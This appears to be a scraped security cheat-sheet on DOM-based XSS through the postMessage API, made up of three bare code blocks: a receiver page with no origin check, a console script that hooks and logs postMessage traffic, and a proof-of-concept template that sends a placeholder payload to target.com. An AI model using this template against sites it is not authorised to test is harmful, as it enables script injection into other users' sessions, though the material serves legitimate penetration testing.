DOM-XSS via postMessage API
Last updated
Last updated
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Receiver</title>
</head>
<body>
<p>Message will appear here</p>
<script>
// Listen for incoming messages
window.addEventListener('message', (event) => {
// Validate the source and process data
document.querySelector('p').textContent = event.data;
});
</script>
</body>
</html>(function () {
const LOG = (tag, color, data) =>
console.log(`%c${tag}`, `background:#101;color:${color}`, data);
const hooked = new WeakSet();
function hookWindow(win, label) {
if (!win || hooked.has(win)) return;
hooked.add(win);
try {
const orig = win.postMessage;
win.postMessage = function (data, targetOrigin, transfer) {
LOG('postMessage OUT [' + label + ']', '#00CC00', {
data,
targetOrigin
});
return orig.apply(this, arguments);
};
} catch {}
try {
win.document.querySelectorAll('iframe').forEach(f => {
try { hookWindow(f.contentWindow, 'iframe'); } catch {}
});
} catch {}
try {
new MutationObserver(m => {
m.forEach(r =>
r.addedNodes.forEach(n => {
if (n.tagName === 'IFRAME') {
try { hookWindow(n.contentWindow, 'iframe'); } catch {}
}
})
);
}).observe(win.document, { childList: true, subtree: true });
} catch {}
}
// INCOMING
window.addEventListener('message', e => {
LOG('postMessage IN', '#FFD700', {
from: e.origin,
data: e.data
});
});
hookWindow(window, 'top');
LOG('postMessage hook', '#1CE', 'enabled');
})();<html>
<head>
<title>PoC</title>
</head>
<body>
<script>
function poc(){
var win = window.open('https://target.com/path');
var msg = <injected_DOM_XSS>
setTimeout(function(){
win.postMessage(JSON.stringify(msg), '*');
}, 5000);
}
</script>
<a href="#" onclick="poc();">Test PoC</a>```
</body>
</html>